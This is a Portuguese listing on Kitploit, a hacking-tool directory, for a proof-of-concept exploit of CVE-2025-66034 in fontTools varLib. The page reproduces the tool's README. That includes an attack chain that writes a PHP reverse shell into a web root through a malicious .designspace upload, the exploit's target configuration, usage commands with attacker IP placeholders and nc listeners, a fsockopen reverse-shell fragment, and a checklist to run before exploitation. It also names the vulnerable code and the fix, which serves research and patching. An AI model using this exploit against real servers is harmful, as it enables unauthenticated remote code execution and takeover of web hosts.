Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2025-66034 — Exploit automatizado para CVE-2025-66034, que combina path traversal e injeção de XML no varLib do fontTools para obter execução remota de código não autenticada por meio do upload de um arquivo .designspace malicioso. | Kitploit
Ferramentas/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAnálise de BináriosAprendizado e EducaçãoFerramenta de Acesso Remoto

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHub
v3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

Exploit automatizado para CVE-2025-66034, que combina path traversal e injeção de XML no varLib do fontTools para obter execução remota de código não autenticada por meio do upload de um arquivo .designspace malicioso.

Ver Repositório
41há 5 mesesAinda não revisado
Compartilhar

font_varlib.py — CVE-2025-66034

fontTools varLib — Gravação Arbitrária de Arquivos + Injeção de XML → Execução Remota de Código

CVE Component Class Language Deps License


Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Cadeia de Ataque
  • Requisitos
  • Instalação
  • Configuração
  • Uso
  • Como Funciona
  • Código Vulnerável
  • Checklist Pré-Exploração
  • Testado Em
  • Aviso Legal
  • Referências

  • Visão Geral

    CVE-2025-66034 é uma vulnerabilidade no pipeline de geração de fontes variáveis do fontTools.varLib. Quando uma aplicação web expõe esse pipeline e aceita arquivos .designspace fornecidos pelo usuário, duas fraquezas são encadeadas para alcançar execução remota de código não autenticada.

    O font_varlib.py automatiza toda a cadeia de exploração — geração de fontes, criação de payload, upload e entrega do reverse shell.


    Detalhes da Vulnerabilidade

    CampoDetalhe
    ID CVECVE-2025-66034
    GHSAGHSA-768j-98cg-p3fv
    Pacotefonttools (pip)
    Faixa Afetada>= 4.33.0, < 4.60.2
    Corrigido Em4.60.2
    GravidadeModerada (CVSS 6.3)
    Vetor de AtaqueLocal (requer upload de arquivo no alvo)
    Privilégios NecessáriosNenhum
    Interação do UsuárioNecessária (acionamento por upload)

    Cadeia de Fraquezas

    #PrimitivaCWECausa Raiz
    1Path TraversalCWE-22o atributo filename no .designspace é passado diretamente para os.path.join() sem sanitização — caminhos absolutos descartam inteiramente o diretório de saída pretendido
    2Injeção de XMLCWE-91seções CDATA de <labelname> permitem que uma sequência de divisão (]]]]><![CDATA[>) contrabandeie PHP bruto através do parser XML para dentro do arquivo de saída gravado

    Cadeia de Ataque

    root@kitploit:~
    Attacker crafts malicious .designspace
                │
                ├── <variable-font filename="/var/www/html/files/shell.php">
                │        └── PATH TRAVERSAL
                │            os.path.join(output_dir, absolute_path)
                │            → output_dir discarded → write to web root
                │
                └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                         └── XML INJECTION
                             CDATA split embeds raw PHP
                             into the output font binary
                │
                ▼
        fontTools.varLib.main() processes file server-side
                │
                ▼
        shell.php written to web-accessible directory
                │
                ▼
        GET /files/shell.php → PHP executes → reverse shell callback
                │
                ▼
        RCE as www-data
    

    Requisitos

    Python: 3.9+

    Dependências:

    root@kitploit:~
    pip install fonttools requests
    

    Sistema:

    root@kitploit:~
    nc (netcat) — required for auto listener mode (--no-listen skips this)
    

    Instalação

    root@kitploit:~
    git clone https://github.com/yourhandle/font_varlib
    cd font_varlib
    pip install fonttools requests
    

    Configuração

    Antes de executar, abra font_varlib.py e atualize o bloco de configuração no topo do arquivo para corresponder ao seu alvo. Cada valor tem um comentário inline explicando o que é e como encontrar o valor correto.

    root@kitploit:~
    # ══════════════════════════════════════════════════════════════════════════════
    #  DEFAULTS
    #  Change these to match your target before running.
    #  All values can also be overridden at runtime via CLI flags — see --help.
    # ══════════════════════════════════════════════════════════════════════════════
    
    # Base URL of the upload host (the site that accepts the .designspace)
    UPLOAD_HOST      = "http://test.com"
    
    # Path on the upload host that processes the multipart form POST
    # Confirm with Burp — look for the POST after clicking the generate button
    UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"
    
    # Absolute filesystem path on the server where output files are written
    # Must be web-accessible so the shell can be triggered via HTTP
    WEBROOT          = "/var/www/test.com/public/files"
    
    # Base URL used to fetch/trigger the written shell file
    # Maps to WEBROOT on disk
    SHELL_HOST       = "http://testing.test.com/files"
    
    # Multipart form field names — confirm with Burp before running
    # If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
    FIELD_DESIGNSPACE = "designspace"
    FIELD_MASTERS     = "masters"
    
    # Shell filename prefix — random suffix appended at runtime
    SHELL_PREFIX     = "f0nt_"
    
    # Length of random suffix — longer = harder to guess
    SHELL_SUFFIX_LEN = 8
    

    Dica: Intercepte uma solicitação de upload legítima no Burp Suite para confirmar UPLOAD_ENDPOINT e os nomes exatos dos campos multipart antes de executar. Uma incompatibilidade nos nomes dos campos causa uma falha silenciosa — o servidor retorna HTTP 200, mas nenhum shell é gravado.


    Uso

    Básico — listener nc automático

    root@kitploit:~
    python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
    

    Listener manual — inicie o nc você mesmo

    root@kitploit:~
    # Terminal 1 — start your listener
    nc -lvnp 4444
    
    # Terminal 2 — run exploit without auto listener
    python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
    

    Alvo personalizado — substitua todos os padrões em tempo de execução

    root@kitploit:~
    python3 font_varlib.py \
      --ip 10.10.14.5 \
      --port 4444 \
      --upload http://target.htb/tools/variable-font-generator/process \
      --webroot /var/www/html/files \
      --shell http://target.htb/files
    

    Referência completa de opções

    ArgumentoObrigatórioPadrãoDescrição
    --ip✓—IP do listener do atacante
    --port✓—Porta do listener do atacante
    --uploadUPLOAD_HOST + UPLOAD_ENDPOINTEndpoint de upload (POST)
    --webrootWEBROOTCaminho de gravação no sistema de arquivos do servidor (deve ser acessível via web)
    --shellSHELL_HOSTURL base usada para acionar o shell gravado
    --no-listenfalseIgnora o listener nc automático — apenas aciona

    Como Funciona

    Etapa 1 — Geração de Fontes

    Dois arquivos-fonte .ttf mínimos, porém estruturalmente válidos, são gerados programaticamente usando fontTools.FontBuilder. O varLib exige pelo menos dois masters de eixo para processar uma fonte variável — eles satisfazem esse requisito sem precisar de arquivos de fonte reais no disco.

    Etapa 2 — Criação do Payload

    Um arquivo XML .designspace malicioso é construído incorporando ambas as primitivas de ataque:

    Primitiva 1 — Injeção de XML via divisão de CDATA:

    root@kitploit:~
    <labelname xml:lang="en">
      <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
    </labelname>
    

    A sequência ]]]]><![CDATA[> encerra o bloco CDATA atual e imediatamente abre um novo. O parser XML processa isso como marcação válida, mas o varLib serializa o conteúdo literalmente no arquivo de saída — incorporando PHP bruto no binário da fonte.

    Primitiva 2 — Path Traversal via atributo filename:

    root@kitploit:~
    <variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
    

    O varLib constrói o caminho de saída como:

    root@kitploit:~
    output_path = os.path.join(output_dir, filename)
    

    Quando filename é um caminho absoluto, o os.path.join() do Python descarta output_dir completamente. Nenhuma sanitização é aplicada nas versões afetadas.

    Etapa 3 — Upload

    O .designspace e ambos os arquivos .ttf são enviados como um POST multipart para o endpoint de geração de fontes do alvo usando nomes de campos confirmados pelo Burp.

    Etapa 4 — Acionamento

    Um HTTP GET para o arquivo .php gravado executa o reverse shell, que se conecta de volta ao listener nc do atacante via fsockopen + proc_open — sem necessidade de curl, wget ou Python no alvo.


    Código Vulnerável

    fontTools/varLib/__init__.py (versões afetadas):

    root@kitploit:~
    filename = vf.filename                             # attacker-controlled, unsanitised
    output_path = os.path.join(output_dir, filename)  # path traversal via absolute path
    vf.save(output_path)                              # arbitrary file write
    

    Correção na 4.60.2 — aplica os.path.basename() em filename antes de construir output_path, removendo todas as sequências de path traversal.


    Checklist Pré-Exploração

    Antes de executar, confirme todos os itens a seguir:

    root@kitploit:~
    [ ] fonttools version on target is >= 4.33.0 and < 4.60.2
    [ ] Target accepts .designspace + .ttf file uploads
    [ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
    [ ] Upload form field names confirmed with Burp (designspace + masters)
    [ ] WEBROOT is web-accessible from outside
    [ ] WEBROOT is writable by the web process (www-data or equivalent)
    [ ] SHELL_HOST (--shell) is reachable from your machine
    [ ] Target hostname are in /etc/hosts
    

    Testado Em

    AmbienteVersão do fonttoolsResultado
    Ubuntu 22.04 / Python 3.114.59.0✓ Confirmado

    Aviso Legal

    Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada.

    Não use contra qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar. O autor não assume responsabilidade por uso indevido ou qualquer dano causado por este software.


    Referências

    RecursoLink
    NVD — CVE-2025-66034https://nvd.nist.gov/vuln/detail/CVE-2025-66034
    Aviso de Segurança do fontToolshttps://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
    Commit da Correção — a696d5bhttps://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32
    Projeto fontToolshttps://github.com/fonttools/fonttools
    Baixar ferramenta